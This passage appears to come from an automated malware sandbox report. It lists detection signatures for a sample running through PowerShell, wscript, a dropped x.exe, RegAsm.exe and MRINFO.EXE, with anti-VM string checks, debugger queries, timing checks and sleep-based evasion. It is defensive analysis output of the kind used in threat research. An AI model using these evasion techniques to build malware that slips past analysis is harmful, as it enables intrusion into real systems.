Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\MRINFO.EXE	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\MRINFO.EXE	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\MRINFO.EXE	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\MRINFO.EXE	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\MRINFO.EXE	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\MRINFO.EXE	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\MRINFO.EXE	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\MRINFO.EXE	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 22E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 42E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 5_2_02B9D1C0 rdtsc

5_2_02B9D1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3503	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3129	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Window / User API: threadDelayed 9841	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\MRINFO.EXE	API coverage: 3.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1620	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3368	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 6008	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE TID: 6480	Thread sleep count: 131 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE TID: 6480	Thread sleep time: -262000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE TID: 6480	Thread sleep count: 9841 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE TID: 6480	Thread sleep time: -19682000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe TID: 2860	Thread sleep time: -40000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\MRINFO.EXE	Last function: Thread delayed
Source: C:\Windows\SysWOW64\MRINFO.EXE	Last function: Thread delayed

Source: C:\Windows\SysWOW64\MRINFO.EXE

Code function: 10_2_0306CA70 FindFirstFileW,FindNextFileW,FindClose,

10_2_0306CA70

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000001.00000002.1915624827.0000026D2323A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#1
Source: powershell.exe, 00000001.00000002.1915624827.0000026D2323A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000002.1934243239.00000174E7A2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1923386809.00000174E7A27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWfd
Source: wscript.exe, 00000000.00000002.1935377292.00000174E9C65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2988938123.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]
Source: wscript.exe, 00000000.00000002.1935377292.00000174E9C30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MRINFO.EXE, 0000000A.00000002.2988076296.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000002.2426979610.000001EDA820D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 5_2_02B9D1C0 rdtsc

5_2_02B9D1C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 5_2_00417DE3 LdrLoadDll,

5_2_00417DE3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA92BC mov eax, dword ptr fs:[00000030h]	5_2_02BA92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA92BC mov eax, dword ptr fs:[00000030h]	5_2_02BA92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA92BC mov ecx, dword ptr fs:[00000030h]	5_2_02BA92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA92BC mov ecx, dword ptr fs:[00000030h]	5_2_02BA92BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B302A0 mov eax, dword ptr fs:[00000030h]	5_2_02B302A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B302A0 mov eax, dword ptr fs:[00000030h]	5_2_02B302A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B352A0 mov eax, dword ptr fs:[00000030h]	5_2_02B352A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B352A0 mov eax, dword ptr fs:[00000030h]	5_2_02B352A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B352A0 mov eax, dword ptr fs:[00000030h]	5_2_02B352A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B352A0 mov eax, dword ptr fs:[00000030h]	5_2_02B352A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE92A6 mov eax, dword ptr fs:[00000030h]	5_2_02BE92A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE92A6 mov eax, dword ptr fs:[00000030h]	5_2_02BE92A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE92A6 mov eax, dword ptr fs:[00000030h]	5_2_02BE92A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE92A6 mov eax, dword ptr fs:[00000030h]	5_2_02BE92A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB72A0 mov eax, dword ptr fs:[00000030h]	5_2_02BB72A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB72A0 mov eax, dword ptr fs:[00000030h]	5_2_02BB72A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB62A0 mov eax, dword ptr fs:[00000030h]	5_2_02BB62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB62A0 mov ecx, dword ptr fs:[00000030h]	5_2_02BB62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB62A0 mov eax, dword ptr fs:[00000030h]	5_2_02BB62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB62A0 mov eax, dword ptr fs:[00000030h]	5_2_02BB62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB62A0 mov eax, dword ptr fs:[00000030h]	5_2_02BB62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB62A0 mov eax, dword ptr fs:[00000030h]	5_2_02BB62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5329E mov eax, dword ptr fs:[00000030h]	5_2_02B5329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5329E mov eax, dword ptr fs:[00000030h]	5_2_02B5329E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5E284 mov eax, dword ptr fs:[00000030h]	5_2_02B5E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5E284 mov eax, dword ptr fs:[00000030h]	5_2_02B5E284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA0283 mov eax, dword ptr fs:[00000030h]	5_2_02BA0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA0283 mov eax, dword ptr fs:[00000030h]	5_2_02BA0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA0283 mov eax, dword ptr fs:[00000030h]	5_2_02BA0283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF5283 mov eax, dword ptr fs:[00000030h]	5_2_02BF5283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDF2F8 mov eax, dword ptr fs:[00000030h]	5_2_02BDF2F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B192FF mov eax, dword ptr fs:[00000030h]	5_2_02B192FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED mov eax, dword ptr fs:[00000030h]	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B302E1 mov eax, dword ptr fs:[00000030h]	5_2_02B302E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B302E1 mov eax, dword ptr fs:[00000030h]	5_2_02B302E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B302E1 mov eax, dword ptr fs:[00000030h]	5_2_02B302E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF52E2 mov eax, dword ptr fs:[00000030h]	5_2_02BF52E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1B2D3 mov eax, dword ptr fs:[00000030h]	5_2_02B1B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1B2D3 mov eax, dword ptr fs:[00000030h]	5_2_02B1B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1B2D3 mov eax, dword ptr fs:[00000030h]	5_2_02B1B2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4F2D0 mov eax, dword ptr fs:[00000030h]	5_2_02B4F2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4F2D0 mov eax, dword ptr fs:[00000030h]	5_2_02B4F2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A2C3 mov eax, dword ptr fs:[00000030h]	5_2_02B2A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A2C3 mov eax, dword ptr fs:[00000030h]	5_2_02B2A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A2C3 mov eax, dword ptr fs:[00000030h]	5_2_02B2A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A2C3 mov eax, dword ptr fs:[00000030h]	5_2_02B2A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2A2C3 mov eax, dword ptr fs:[00000030h]	5_2_02B2A2C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4B2C0 mov eax, dword ptr fs:[00000030h]	5_2_02B4B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4B2C0 mov eax, dword ptr fs:[00000030h]	5_2_02B4B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4B2C0 mov eax, dword ptr fs:[00000030h]	5_2_02B4B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4B2C0 mov eax, dword ptr fs:[00000030h]	5_2_02B4B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4B2C0 mov eax, dword ptr fs:[00000030h]	5_2_02B4B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4B2C0 mov eax, dword ptr fs:[00000030h]	5_2_02B4B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4B2C0 mov eax, dword ptr fs:[00000030h]	5_2_02B4B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B292C5 mov eax, dword ptr fs:[00000030h]	5_2_02B292C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B292C5 mov eax, dword ptr fs:[00000030h]	5_2_02B292C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1823B mov eax, dword ptr fs:[00000030h]	5_2_02B1823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF5227 mov eax, dword ptr fs:[00000030h]	5_2_02BF5227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B57208 mov eax, dword ptr fs:[00000030h]	5_2_02B57208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B57208 mov eax, dword ptr fs:[00000030h]	5_2_02B57208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B49274 mov eax, dword ptr fs:[00000030h]	5_2_02B49274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B61270 mov eax, dword ptr fs:[00000030h]	5_2_02B61270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B61270 mov eax, dword ptr fs:[00000030h]	5_2_02B61270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274 mov eax, dword ptr fs:[00000030h]	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B24260 mov eax, dword ptr fs:[00000030h]	5_2_02B24260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B24260 mov eax, dword ptr fs:[00000030h]	5_2_02B24260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B24260 mov eax, dword ptr fs:[00000030h]	5_2_02B24260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BED26B mov eax, dword ptr fs:[00000030h]	5_2_02BED26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BED26B mov eax, dword ptr fs:[00000030h]	5_2_02BED26B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1826B mov eax, dword ptr fs:[00000030h]	5_2_02B1826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1A250 mov eax, dword ptr fs:[00000030h]	5_2_02B1A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDB256 mov eax, dword ptr fs:[00000030h]	5_2_02BDB256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDB256 mov eax, dword ptr fs:[00000030h]	5_2_02BDB256
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B26259 mov eax, dword ptr fs:[00000030h]	5_2_02B26259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B19240 mov eax, dword ptr fs:[00000030h]	5_2_02B19240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B19240 mov eax, dword ptr fs:[00000030h]	5_2_02B19240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5724D mov eax, dword ptr fs:[00000030h]	5_2_02B5724D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B433A5 mov eax, dword ptr fs:[00000030h]	5_2_02B433A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B533A0 mov eax, dword ptr fs:[00000030h]	5_2_02B533A0
